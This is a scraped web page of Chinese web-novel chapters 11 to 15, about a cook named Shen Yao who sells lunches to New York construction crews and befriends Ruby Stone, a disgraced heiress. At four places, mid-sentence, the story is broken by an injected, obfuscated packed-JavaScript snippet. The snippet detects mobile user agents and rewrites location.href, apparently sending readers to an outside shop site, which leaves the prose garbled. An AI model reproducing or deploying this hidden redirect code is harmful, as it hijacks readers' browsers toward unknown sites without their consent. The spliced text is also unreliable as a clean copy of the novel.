上次卡尔请客吃米饭的事，成了装修队之间的笑话，一提起中餐，别人就会把他请客吃一盘平平无奇的蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578432|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炒饭当玩笑说。 卡尔只当做没听到，自顾自地忙着手头上的活儿。 “伍德先生？” 外面传来了一个不属于这里的女声。 她比约定的时间早了一个小时，但却来得刚刚好。 听到沈瑶的声音，卡尔快步走出来迎接她：“沈小姐。” 主动接过那辆满载着饭菜的小推车，她的出现让他的眼里多出了几分的感激，“谢谢。” 沈瑶有些不太理解这声谢的含义。 他出钱，她出力，有什么需要谢的呢？ 不过她还是回了一句“没关系”，并且从推车下面把餐盘和刀叉拿了出来，“我一共准备了五个菜，希望能够你们吃。” 除了卡尔，在场的每个人都对沈瑶带来的饭菜兴趣缺缺。 中餐的味道都差不多……算了，能填饱肚子就行。 可当卡尔打开餐盒的盖子时，那股酸甜在屋内炸开的瞬间，所有人的目光都集中了那一盒桔红的菜色上。 番茄炖出了绵密的沙，每一块牛腩都吸满了酸甜的香，表面还洒了一些翠绿的葱花，简直就是用食物绘出的一幅画！ 接着，卡尔又依次掀开了其他的盖子：红烧鱼、辣椒炒肉、酸辣土豆丝、宫保鸡丁…… 每一道菜光是看着，就让人赏心悦目，一阵阵扑来的菜香更让他们口水直流。 他们吃过中餐，这些菜也并不算是什么新菜，可跟沈瑶送来的饭菜相比，之前吃过的那些，更像是“仿制”和“珍品”的区别。 迫不及待地尝了一片还温热的肉片。 “耶稣啊……这肉片好好吃！”麦克睁大了眼，不住地摇头。 他好像明白最近为什么卡尔这么沉迷中餐了。 因为这一片肉，简直是他这辈子吃过最好吃的猪肉！ 它在被端上餐桌之前，一定是在上帝身边长大的吧。 肉片上带了一点辣椒的味道，让人想再咀嚼点什么，压一压这麻辣的味道。 白米饭？好像没有比这更合适的主食了。 试着把炒得油香的辣椒和米饭混合在一起，在减轻辣味的同时，又增加了一抹浓郁的谷香。 从怀疑到沉迷，全程只用了短短的十几秒。 起初他们还只是客气地用叉子叉起一两块来吃，到后面恨不得直接把餐盒拿起来，将里面的菜全部倒进自己的盘子里。 “好吃，真的好吃！” “这是怎么做的？我的天，我好像感觉到了鱼肉在我的嘴里滑！” “鸡胸肉？你确定？为什么会比鸡腿还要嫩！” 几人在餐车旁围了一圈，那狼吞虎咽的架势不像是吃饭，倒更像是在打仗。 你不让我，我不让你，都怕自己下手慢了会少吃一口。 顺着这诱人的香味，附近的装修队也来到了他们的门口。 可惜他们被挡得严严实实，完全看不到餐车上装了什么，只能从他们的刀叉中捡漏闻一些从没闻到过的菜香。 “太夸张了，只是一条鱼而已，哪有那么好吃。” 刚才的那名男人撇撇嘴，看向了麦克餐盘里，他好不容易抢到的鱼尾巴。 他记得，麦克是不爱吃鱼的，怎么还会抢一条鱼尾巴来吃？ “真的很好吃，绝对是你没有吃过的味道！”大口嚼着嘴里那口米饭，麦克把餐盘伸向了他，“不信你可以尝一尝。” 男人咽了咽口水，似乎是一直在等着这句话。 可他刚要去接，麦克就又把餐盘收了回去：“算了，下次再让你尝吧，我还没吃饱呢。” 男人：？？？ 12. 第 12 章 沈瑶低估了六个成年男人的饭量。 五个热菜，两锅米饭，半个小时的功夫就被卡尔他们吃得一点不剩。 尤其是那道装着辣椒炒肉的餐盒，感觉干净得都不用回去洗了。 不过说起来，饭菜也不全是他们吃的。隔壁同样在午休吃饭的施工队，闻到香味后也纷纷过来，好奇这些中餐的味道。 卡尔要比麦克大方，会让他们尝一尝盘子里爆炒、红烧、酸辣的滋味，当然，仅限一口，一小口，吃得多了他还是会做出揍人的架势。 “别看了别看了，回去吃自己的。” 看着盘子里的可可派，艾伦咽了咽口水，努力提起自己的食欲。 可手里的叉子在上方悬了好久，还是迟迟没有落下。 橘红、明黄、翠绿……沈瑶的小推车简直是一副赏心悦目的油彩画，混合着各种色彩、调和着多种香味，看着就让人食欲大振。 再看看自己深褐色的可可派，唔，在包里放了一早上，早就闻不到刚出炉的香气了。 “艾伦，我们明天要不要也试试看中餐？” “是啊，我刚才尝了一口那个鱼，真的香，比高级餐厅的煎鱼排还要好吃！” “我觉得可以，这么冷的天，能吃点热的饭菜也好。” 听着身边人对中餐的吹捧，艾伦用力咀嚼着嘴里那口有些变硬的糕体，语气和可可派一样冷：“好吃的东西都是贵的，他们这一餐下来，少说要二百刀，我们每个人的补贴可只有十五刀。” 呵，谁还没吃过中餐？ 味道一般的炒菜都要十几刀一盘，更何况这种色香味俱全的菜，少说也得三十多刀吧？ 想不到这个卡尔这么爱面子，大家不过是嘲讽了他几天而已，他就这么下血本，请手下的员工吃这么贵的饭…… 放下手里的叉子，艾伦咬咬牙，拿出口袋里的钱包掏出了几张票子交给身旁的人：“去订约翰家的披萨，明天中午我们也吃顿好的。” 不就是自掏腰包吗？不就是多掏一百刀吗？ 他也可以！ 继续剥了一颗没有什么味道的水煮蛋，再配一口微微发苦的黑咖啡，正吃着，忽然看到好多人都往隔壁挤，像是在排队抢什么东西。 “慢慢来，别着急。” “派一个代表来就行，不用都急着排队。” 艾伦还没反应过来怎么回事呢，一抬头，就看到楼下那支装修队的队长，被他的手下们一起抬着往隔壁跑，而他的表情同样是一脸懵。 隔壁，沈瑶收钱收得手都快抽筋了。 可即便是这样，她也还在向外面排队报名的人讲解道：“一个人的标准是十五刀，需要提前交一半的定金，有什么忌口、要多少份量，请提前说明。” 什，什么？ 十五刀一个人！ 五个热菜，一份主食，并且还送餐上门，竟然只要十五刀？！ 艾伦嘴里的那颗蛋黄好像有些噎嗓子，顾不得把它咽下，他也赶紧站起身跑去隔壁排队。 三十刀一道的炒菜他请不起，但十五刀一顿的员工餐，他必须尝尝咸淡。 “不要太辣，不要有花生。” “好的。” “口味淡一点，我们有□□所以不要猪肉。” “没问题。” 沈瑶仔细地记录着每支装修队的要求，虽然她卖得盒饭是十五刀每位，但态度却比高档餐厅的服务员还要用心。 排队等了好一会，终于轮到艾伦了。 他刚要张口，沈瑶就把手里的小册子合了起来：“不好意思，我一次只能做二十人的量，太多的话会影响每道菜的质量，请明天再来报名吧。” 艾伦：！！！ —— 沈瑶的员工餐外送服务很快就做得有声有色。 连续好几天，她都能接满二十人的订单，没订到的人，甚至愿意加钱请沈瑶多做一点。 不过沈瑶拒绝了，因为她需要时间来休息，毕竟身体健康是最重要的本钱。 每天三百刀的收入，除去食材的开销，给陈晨的抽成，再加上一些小费，沈瑶每天能多攒八十多刀，再算上每天当服务员的日薪，差不多快两百刀。 以这样的水平，只要再持续两个月，她就能攒够办签证的钱了！ 可比好消息来得更快的，永远是坏消息。 “什么？巴里和大卫辞职了？” 厨房里，将锅里炒好的五花肉捞起后，陈晨跟着叹了一口气：“对，今天早上，两人一前一后地给我打电话说要辞职。” 巴里和大卫是店里雇佣的长期服务员，谁也没想到两人会同时辞职。 听陈晨说，巴里的妻子昨夜生了一个孩子，巴里需要在家里照顾她们所以选择了辞职。 大卫则是因为之前找了一份兼职，经理见他干得不错，便转了正。 店里一下子少了两个人，他们的工作自然就落在了沈瑶和其他服务员的身上。 陈晨：“从今天开始，在店里招到新的服务员之前，你每隔一天都要上一次全班，也就是十二个小时。” 每隔一天上一次全班，也就是每隔一天要少送一次餐、少赚八十刀。 这次不是陈晨故意为难她，是店里实在没有多余的人手。 沈瑶才刚起床，就被这噩耗掏空了精神。 看着水池里还没来得及洗的餐盘，她只能选择挽起袖子，留在店里老老实实地干自己的本职工作，至于卡尔那边，等休息时间再打电话向他道歉吧。 将焯好的猪五花切成了麻将块大小的肉块，转过身，陈晨往锅里倒了一点油，顺手又放了一些冰糖。 “用小火。” 冰糖刚落进油里，沈瑶就提醒道：“糖色要慢慢炒，大火会糊。” 陈晨做菜时最不喜欢听别人指手画脚，他可是专业的厨师，不需要别人教自己怎么做菜。 可在听到沈瑶的提醒后，他只是皱了下眉，但还是老老实实地把火调小了一点。 勺子在锅里缓缓搅拌，他又顺手拿起了一颗八角和几片香叶。 “别急，”沈瑶这次不止是提醒，而是走到他身边，主动把刚才焯好的五花肉倒进了锅里，“要先给肉上糖色，等要炖的时候再放调料入味。” 陈晨嘴唇微翕，想要说些什么，可还是把话给咽了回去。 用勺子将融化的糖浆和肉块混合，陈晨的心里一直在想着什么，不知不觉，手里的勺子竟然跑到了沈瑶手里，位置也被她给占了。 把火调大了一些，沈瑶熟练地扶着锅的把手翻勺道：“上糖色火要大，尽量把肉炒得焦一点，这样等会炖得时候里面的肉才会软烂，口感也更丰富。” “你干什么？！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578433|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈晨彻底怒了，大声冲她叫喊道：“是我在做菜，关你什么事？” 沈瑶愣了一下，“我想你是想学怎么做红烧肉，就想着指点你一下。” 沈瑶的一句话，直接堵住了陈晨的嘴。 他确实是在试着做红烧肉来着…… 陈晨会做红烧肉，是跟爷爷学的，他一直以为自己做的红烧肉已经挺好吃了，直到上次看到沈瑶炖的红烧肉，色泽红润、肥而不腻、酥而不烂，用力拍一下桌子，碗里的红烧肉甚至会跟着来回颤动。 所以就想学着她的手法做一次试试。 “其实你可以直接让沈来教你，”从外面路过，琼恩一边接咖啡一边对陈晨说，“只要你对她客气一点、态度好一点，沈肯定不会拒绝。” 客气？意思是要像学生那样向她请教？ 沈瑶没说话，只是把勺子交还给他。 她不介意教陈晨做菜，相反的，她很乐意教他，要是他能学得一手好菜，店里的生意就会更好，那她的收入不也就更多了吗？ 只是陈晨自己放不下架子，不肯虚心求教罢了。 往锅里加水，又放入香叶、大料和草果，盖上锅盖后，陈晨的脸虽然还冷着，但说话的语气却温和了一些：“咳咳，接下来，是用小火炖四十分钟就好了吧。” 沈瑶：“对，最后还要用大火收汁，然后撒上一点葱花。” 十点四十三分，红烧肉出锅了。 经过沈瑶的指点，红烧肉不管是颜色和肉质都和之前有很大的不同，虽然做不到一拍桌子就跟着晃动，可味道已经做得有六七分像了。 用筷子试着夹起一块，陈晨稍稍一用力，那层晶莹的肥肉就断成了两截，吸满了汤汁的肉散发着阵阵浓香，刚入口就像雪一样融化了。 好吃，确实好吃！ 吃到好吃的红烧肉，陈晨的心情都跟着好了，看向外面在打扫卫生的沈瑶，他想了想后，放下了手里的筷子：“你以后可能没办法每天做饭外送了。” “我知道，”沈瑶清洗着拖把，回道，“等下午休息的时候会去跟他们说。” “现在去吧。” 陈晨转过身，给自己盛了一碗米饭，“提前告诉他们原因，免得他们中午吃不到饭，会说我们华国人不遵守约定。” 沈瑶：？？？ “真的吗？” 陈晨没重复刚才的话，只是说：“快去快回，别耽误了中午的工作。” 沈瑶：“谢谢！” 放下手里的拖把，沈瑶赶紧换了衣服跑出门。 她得快去快回才行，中午只有她和乔伊两个人上班，要是回来得晚了，乔伊一个人肯定忙不过来。 来到商场后，沈瑶找到卡尔向他说明了原因，并退掉定金向他们道歉。 卡尔他们没有责怪她，不仅表示理解，还说愿意等她方便的时候订她的饭。 事情总算得到了圆满的解决。 从商场回来时，沈瑶已经跑得很快了，可还是已经过了十二点。 推开餐馆的门，正当她以为乔伊会因为没人帮忙而累得手忙脚乱时，却看到一个高挑而修长的身影，正踩着一双十厘米的红底高跟鞋，端着餐盘在各个卡座之间行走。 看到那女人的脸时，沈瑶不禁愣了一下。 陈晨这么有钱吗？竟然能请到模特来当服务员？ 13. 第 13 章 女人长得很漂亮，金发碧眼、清瘦身材，从头发丝到指甲尖都无比精致，简直就像是橱窗里精致的芭比娃娃。 沈瑶似乎能猜到她的名字。 凯莉？萨拉？ 印象里，那些长相标准的白人美女好像都叫这些名字。 嗒嗒嗒，嗒嗒嗒…… 高跟鞋踩在地板上发出响亮的声音，要不是店里坐着不少食客，沈瑶还以为自己误闯了哪家大牌的时装秀。 同样的制服，穿在其他人身上像是一块抹布，可到了她身上却像是出自大师之手的特殊设计款。 不止是沈瑶，看到店里来了这么一位漂亮的服务生，客人们也会下意识地多看她两眼，有的还会和同伴小声地议论。 “很漂亮吧？”标出菜单上客人点的餐，琼恩小声道，“你刚走，她就来应聘了。” 应聘？ 确定不是陈晨从时装秀后台把她拐来的吗？ 把菜单贴在出餐口上后，琼恩又说：“这姑娘的来头可不小。” 回到仓库换好衣服出来，沈瑶正好在厨房门口和刚出完餐的女人碰了个正着。 “你好，我叫露比，以后请多关照。” 初次见面，露比没有丝毫紧张，反而热情地同沈瑶打招呼道。 有那么一瞬间，沈瑶想起了曾经看过的美剧，里面那些漂亮的女主角就是像她这样，说话时会露出标准的八颗牙齿。 “你好，我叫沈瑶，你叫我沈就好。” 露比应该从没当过服务生，她只会点餐、出餐，却忘了客人走后也要把桌子擦干净。 不过也很正常，像她这样漂亮又精致的女生，如果不是有不得已的原因，是不会跑来陈记当服务生的。 帮着她把客人走后的餐桌收拾干净，沈瑶指了一下仓库的方向：“我有一双备用的平底鞋，你要去换一下吗？穿高跟鞋跑来跑去容易崴到脚。” “谢谢！” 露比感激地叹了一口气。 其实她早就看到仓库里的那双鞋了，只是没有得到主人的允许，所以没有去换。 拧着毛巾，沈瑶随口问道：“露比，红宝石，你的名字很好听。你的姓氏是什么？” 正走得好好的，露比的脚下倏地崴了一下。 她并不愿提到这个话题，可既然沈瑶开口问了，她只好低声地回道：“斯通。” “斯通？” 好熟悉的姓氏。 好像在哪里见过？ “等等……斯通？乔纳森·斯通？你和他是……？”沈瑶大胆地猜测道。 不情愿地转过身，露比像是个做错了事的孩子，尴尬地扯着制服的衣角：“是的，那是我父亲。” 沈瑶：！！！ 天啊，她的父亲竟然是乔纳森·斯通？ 也就是说，她的父亲就是那个如今臭名昭著、与华国工厂勾结的卖国贼？ 睁大了眼睛看着她，沈瑶的眼里除了惊讶之外，并没有像那些人对她充满了敌意和厌恶，相反的，甚至还有种“老乡见老乡”的亲切。 在纽约人看来，她和她父亲或许是卖国贼，但在她这样根正苗红的党员眼里，斯通一家可都是支持党和祖国发展的好同志！ …… 因为乔纳森·斯通支援华国的“卖国”行为，公司和家族也受到了他的影响。 产业被查封、资金被冻结，所有和他有关的项目都被监管。 露比原本在哥伦比亚大学读金融系的硕士，因为没有钱支付学费和生活费，她只能选择休学外出打工。 可是，在听说她和乔纳森·斯通的关系后，没有公司愿意录用她，提供兼职的地方也对她避之不及，也只有在唐人街的陈记，才得到陈晨提供的一份服务员的工作。 “别担心，这里没有人会在意你的过去，因为大家都有过去。” 午休的时候，琼恩给她倒了一杯热咖啡，顺手把那只塑料罐也打开放在了她面前，“陈给你安排住处了吗？” 喝着杯子里的咖啡，露比点点头，“仓库，和沈一起住。” 琼恩：“沈人很好，你们应该会相处得很愉快。” 露比微笑：“我也觉得。” 露比和父亲一样，并不觉得向弱者提供帮助有什么错，所以哪怕受到父亲的影响，不得不暂停学业，她也不会埋怨他。 她曾经去过华国，在她的印象里，华国人都是朴素、勤劳的形象，而且她也能从沈瑶的帮助中，感觉到她对自己的善意。 所以她知道，她们一定会相处得很好。 “这是什么？”闻着塑料罐里飘出来的椒盐味儿，露比问道。 琼恩又晃了晃罐子，“沈做的一点小零食。” 回头看向正在厨房里忙活的沈瑶，露比又问：“沈很会做菜？” “是啊，她做饭很好吃，我敢说，她绝对是我见过最优秀的厨师。” 嚯，好高的评价。 露比从罐子里拿出了一小片。 薄薄的一片，有点像是薯片，只是经过高温的炸制后变得十分皱缩，表面撒了一些细碎的椒盐，虽然在冰箱里放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578434|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，却丝毫遮盖不住它本身的香味。 试着咬一小口…… “上帝，这是什么做的？” 露比是从小就含着金汤匙长大的公主，几乎吃过全世界大部分的顶尖美食，却从来没有尝过这样的味道。 味道很像肉，可口感却跟肉完全不同，其中还有一股肉香。 高温将表面炸制得有些偏硬，但里面是酥脆的，一口下去满是浓浓的焦香，仔细品一品还有各种调料的香味儿，配上椒盐简直是绝了！ 她家以前聘用过一名米其林厨师，最会做的就是各种休闲零食，可他却从来没有做过这种新奇的零食。 更神奇的是，这虽然是油炸的，可一点不会觉得腻，反而还有点上瘾，吃了一片还想吃第二片，越吃越停不下来。 一边感叹一边吃，本就不多的一小罐很快就见了底。 琼恩有点后悔给她吃了…… 原本就是跟她客气一下，没想到她竟然这么不客气！ 很快，沈瑶端着一盘肉末茄子从厨房出来：“还有一个土豆丝，大家可以先盛饭吃了。” 肉末茄子表面撒了一点葱花和小米椒，出锅前又淋了一勺热油，一下子就激起一股热辣的香气，配上表面一层细碎的肉末，光是闻着就很下饭。 琼恩没说错，这炒菜的味道真的很香，让人止不住地流口水。 可露比却没有急着起身去盛饭，而是继续捏着手里那一片零食，“不好意思，我等会再吃，你们先吃吧。” “是有什么忌口吗？”沈瑶问道。 露比点点头，“嗯，我不吃猪肉。” 倒不是出于什么信仰，是她单纯不喜欢猪肉的味道，所以从小到大都不吃猪肉。 看向她递到嘴边的那一片猪油渣，沈瑶幽幽地说：“不吃猪肉？那你还吃猪油渣？” “什么？”露比的嘴角一颤，“你说什么？” 沈瑶：“你手里拿的，是我昨天才做的猪油渣。” 猪？油？渣？ 听到这几个词，脑海里所有关于猪肉不好的感觉都一下子涌了上来。 腥、骚、臭、腻…… 露比只觉得一阵反胃，差点吐了出来。 理智告诉她，要赶紧把手里那一片猪油渣丢掉，可味蕾却催着她，把那一片赶紧喂到了嘴里。 嗯……香！ 咀嚼着一口口的酥脆，她好像忘了自己不吃猪肉这回事。 这是猪油，猪油不是猪肉。 她虽然不吃猪肉，但没说自己不吃猪油啊？ 14. 第 14 章 露比的到来勉强填上了一个人的空缺。 餐厅里，点餐和打扫的工作不缺人了，但发传单的任务却落在了沈瑶的肩上。 不对，准确来说，是沈瑶主动揽到了自己身上。 冬天温度低，哪怕是像陈晨这样黑心的资本家，也知道给发传单的服务员每小时多一美刀的补贴，而且要是客人能拿着宣传页来用餐，还能有二十五美分的提成。 原本去街道发广告的工作都是巴里在做，一晚上下来差不多能多赚五美刀左右。 沈瑶以后不能每天都去送餐，自然要想办法多攒一些钱。 这样辛苦的工作肯定不能交给露比，像她这样从小娇养着长大的富家女，别说是发广告招揽客人了，怕是一股寒风就能把她给吹倒。 “你好，看看我们餐馆的招牌炖汤吧。” “陈记炖汤，滋补养身，了解一下？” 捧着一摞广告单，沈瑶不知不觉走到了一处日用品商店的门口。 再过不久就是圣诞节，商店的玻璃上装点了不少圣诞节的装饰，中间那只巨大的红白袜子上还印着“圣诞快乐”的字样。 袜子？ 沈瑶想到了露比今天穿得那双高跟鞋。 听露比说，她是昨天被调查局的人赶出家的。 不止是他父亲名下的资产，在乔纳森回来之前，所有和“斯通”有关的都被暂时冻结查封，以至于露比被赶出家门时什么都不允许携带，只能带一套平常换洗的衣物。 沈瑶想到了这个世界的原主……要是露比今天没能找到工作，怕是也会像原主那样露宿街头吧。 不过话说回来，露比之所以变得这么浪费，也是因为乔纳森帮助华国的缘故。 都是“自家人”，既然乔纳森义无反顾地帮助了祖国，那自己当然也要向她投桃报李。 可惜，她自己也没什么钱，买不起太贵的东西。 进商店转了一圈后，沈瑶给她挑了一双厚实的棉袜子和热水袋。 这样晚上在仓库睡觉的时候，她就不会觉得冷了…… 晚上十一点，见店里没有客人再来，陈晨便挂上了打烊的牌子。 开始发今天的工资了。 沈瑶今天因为出去发了传单，又上了全天的班，所以工资比平常多了不少，差不多有七十美刀。 露比刚来第一天，不出意料，她的工资是最少的。 十美刀。 比沈瑶来的第一天还要少。 陈晨将那一张绿票子递到她面前，语气平淡道：“你今天摔碎了两个盘子，看在你是新人，我就只扣你一个盘子的钱；还有你洒了一份汤，也不扣你的钱了。” “谢谢老板！” 哪怕只有十美刀，露比在接过钱时还是感激地向他鞠了个躬。 毕竟要不是他愿意收留自己，在人人都痛恨“斯通”的纽约，她怕是连十美刀都赚不到。 摔碎盘子、打翻炖汤，这些都是在沈瑶预料之中的事，十指不沾阳春水的小公主，第一天当服务生只打碎了两个盘子，已经算是很不错的成绩了。 “她怎么只有这么一点钱？”沈瑶小声地向身旁的琼恩问道，“是陈克扣太多了吗？” 琼恩无奈地摇摇头，“她不是个当服务生的料，一个晚上，小费只拿了两三刀。” 店里的服务员穿着同样的制服，但露比看起来，却明显和他们不是一类人。 或许是觉得她是来体验生活的实习生、或许是认为她好欺负，客人们给的小费基本只有几十美分，甚至有的干脆一分不给，似乎是料定了她不会跟自己计较。 领完工资后，大家纷纷收拾东西准备回家了。 露比和沈瑶住在仓库，所以由她们负责打扫餐厅的卫生。 “我走了，记得关门。”临走前，陈晨特地叮嘱道。 沈瑶：“好。” 陈晨刚走，露比就放下拖把，兴冲冲地来到沈瑶旁边。 “我有事跟你说。” “我有事跟你说。” 两人几乎是同时说了这句话。 双手背在身后，露比暂时按捺情绪，“你先说？” “是关于你的小费，”沈瑶虽然也没有完全适应美国社会，但总比她多了点打工的经验，“小费是你应得的，必须要收，如果没有小费，你的工资会少很多。” “还有就是工作的时候不要急，慢一点，就能够减少犯错，陈催得再急，你也不要慌，他这个人嘴硬心软，别害怕。” 沈瑶像曾经训诫学徒一样，指点着露比。 说起来，她只比露比大了一岁，可看到她不经世事的样子，总会不自觉地当起老师。 见露比小鸡啄米似的点着头，她这才长长地叹了一口气，随后从包里把买给她的袜子和热水袋拿出来，“仓库晚上比较冷，有这些保暖应该能睡个好觉。” “给我的？” 接过沈瑶递来的礼物，露比惊讶地眨了眨眼。 袜子和热水袋并不算高档，却是她这个冬天收到的最好礼物。 “谢谢你！”指尖摩挲着袜子柔软的面料，露比接着说，“哦对，我也有东西要给你。” 说完，她就把手伸进制服的口袋里，像是变魔术一样，从里面抓出了一把又一把的绿票子。 哗啦啦，哗啦啦…… 一张张钱被压得像小球一样皱巴巴的，基本都是两刀、五刀这样的小面额。 看到她从口袋里掏出来的钱快堆成了一座小山，沈瑶一脸惊诧：“你哪来这么多的钱？” 露比抿嘴笑道：“你在冷库里放的那一锅卤味，还有泡菜，我全部都卖掉了。” 沈瑶：？？？ 自从接了卡尔他们的外送单子后，沈瑶做卤味的次数就少了。 一是因为做起来太耗费时间，另一方面，是因为没有机会出去摆摊，所以做出来的卤味大多是他们自己吃，偶尔乔伊和琼恩会拿去卖给一些朋友。 全部卖掉？可那一锅还剩下一大半啊。 快步走去冷库，打开保温桶的盖子，里面果然就只剩下一点卤汁和几根豆腐皮。 “天呐，你竟然全部卖出去了？”沈瑶更好奇了，“陈说过，不让在店里卖卤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578435|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味，你到底是怎么做到的？” “是金子总会发光的，你做的东西这么好吃，全部卖出去是必然啊~” 露比将皱成团的纸币一张张展开，故意卖了个关子：“放心，明天，最迟后天，陈一定会主动要求你在店里卖卤味的。” 把所有纸币都整理好后，露比全部交到了她手里，“一共八十六刀，希望没有比你的预期低太多。” 接过她递来的钱，沈瑶拿出了一大半还给她：“这是你的，你出力比较多，应该多拿一点。” 露比没有拒绝，高兴地笑道：“谢谢，那我就不客气啦~！” 从剩下的卤汁里捏起一片剩下的豆腐皮放在嘴里，哪怕是凉的，味道也依然很美味。 “沈，说实话，你的手艺真的是我见过最棒的！哪怕是总统的私人主厨都比不上你。” 吸吮着指头上的味道，这是露比今天第九次夸她的手艺好了。 一开始是她做的猪油渣，然后是她做的炒菜，后来是她做的辣卤和泡菜。 她好像是横空出世的天才，做的全都是露比之前没有吃过的菜，每一样都是让人记忆深刻的美味！ 或许是出于学金融的直觉吧，有那么一瞬间，某个绝妙的点子倏地从她的脑海里一闪而过…… —— 哼哼？哼哼？ 早上，露比是被从外面飘进来的那股菜香叫醒的。 七分的酸味里夹带着两分的甜。 是番茄的味道？不对，不止是番茄。 这酸甜鲜香的滋味，一下子就勾起了她的食欲，哪怕闭着眼睛，她都能想象出番茄迸发出丰富的汁水，和另外一种鲜嫩相互混合的口感。 快速翻炒着锅里的鸡蛋和番茄丁，一片被揉碎的鲜红中是几块软嫩的淡黄，鸡蛋正吸收着番茄汁的味道，颜色也在一点点变红。 稍稍往里面加一点蚝油和生抽，那股酸中带甜的滋味瞬间又多了几分鲜甜，出锅前再撒上一点绿色的葱花，颜色也更丰富了。 “你醒了？”沈瑶把番茄炒蛋盛到餐盒后，拿起了一支勺子给她，“要尝尝吗？” 露比就等着她这句话了，疯狂点头表示赞同。 可一想到自己还没洗脸刷牙，只好把口中不断分泌的口水咽了下去：“还是等一下吧。” 快速地洗着锅，沈瑶又把另外几样处理好的食材拿到手边。 今天还是老样子，三个肉菜、一个素菜，外加主食米饭。 扫了一眼桌子上那几只盛得满满当当的餐盘，露比不解道：“我们上午也有员工餐吗？” “不是，这是中午要送去施工队的。” 沈瑶把自己接员工餐外送的事解释给她听。 露比更纳闷了：“施工队的人不都是赚体力钱吗？他们竟然有钱订这么贵的餐。” 沈瑶：“也不贵，每个人的标准是十五美刀。” “什么？！” 一听她卖的饭菜一个人只收了十五美刀，露比的音调瞬间提高了一个八度：“沈，你是不是被他们给坑了？你知道你这么做，自己要亏多少钱吗？” 15. 第 15 章 亏？ 沈瑶没理解她的意思。 “我一天能赚七十或者八十美刀，应该不算亏吧？” 露比摇摇头，从收银台拿来纸和笔，“你只看到了你能看得到的成本，看不到的成本你算进去了吗？” 说着，她就像是做数学题一样快速在纸上写下了一串数字。 “你去送菜、买菜、处理食材的时间，这些成本你有算进去吗？包括你和那些人的关系，是变好了还是变坏了，这些都是潜在成本。” 沈瑶像听天书一样，看着她罗列出的那一串数字，懵懂地眨了眨眼睛。 时间就是金钱，人情就是社会的钱票，这些话她从小就在听，可也只是听听而已，从来没想过会变成实实在在的数字。 不愧是金融学的硕士，露比列出来的公式沈瑶一个都没看懂，只能按照她的问题提供公式上需要的数据。 “你每天从备菜到完成所有的菜需要多久？” “差不多两个半小时。” “外送饭菜的时间呢？” “来回差不多一个多小时吧。” “他们对你提供的饭菜满意度有没有下降？” “应该……有吧。” 最后经过一系列的计算，纸上得出了一个-5的数字。 手里的笔用力地在数字上画了个几个圈，露比叹了一口气：“你每卖出一个人的量，相当于要亏掉五美刀。” 沈瑶的喉咙紧张地滚了滚。 不会吧，如果真的亏了，那她这些天攒的那么多钱算什么？ 见沈瑶不理解，露比又换了种比喻的方式：“相当于你从纽约徒步去西海岸卖三明治，表面上看，你是赚到了钱，但你所付出的代价是远高于你得到的。” “他们有没有要求你降价？或者多加一些菜什么的？”露比又问。 天呐，难道这都能从公式里看出来？ 沈瑶用力点点头：“有，他们说希望能再加一个菜，从五个菜增加到六个菜。” 不过是多加一个菜，沈瑶并没觉得有什么不妥，无非是把买菜的钱从五份调整成六份而已，反正最后自己赚得还是那么多。 露比无奈地扶额：“但是你没有发现，你提供的菜量，已经超过二十个普通人的份量了吗？你这卖的不是员工餐，是不限量的自助餐。” 沈瑶隐约明白了她要表达的意思，也是这个时候，她才意识到了不对劲。 每次他们都会把菜吃得干干净净，带去的米饭却会剩下不少。 还有他们对自己的评价，开始的那两天全是对菜的夸赞，现在每次去都会听到一些与饭菜无关的“建议”。 送来的饭菜有些凉； 菜的份量不够吃； 菜的种类不够多 …… 沈瑶的本意是希望他们能吃得饱、吃得好，毕竟身为一名厨师，食客的评价是最重要的。 可现在细细想来，他们提的那些建议…… “没错，你被薅羊毛了。” 合上手里的笔帽，露比肯定了她心里的猜想，“一旦市场上的供大于求，就会从卖方市场变成买方市场，他们在一步步从你手里把话语权拿走，这就是你正在亏掉的东西。” 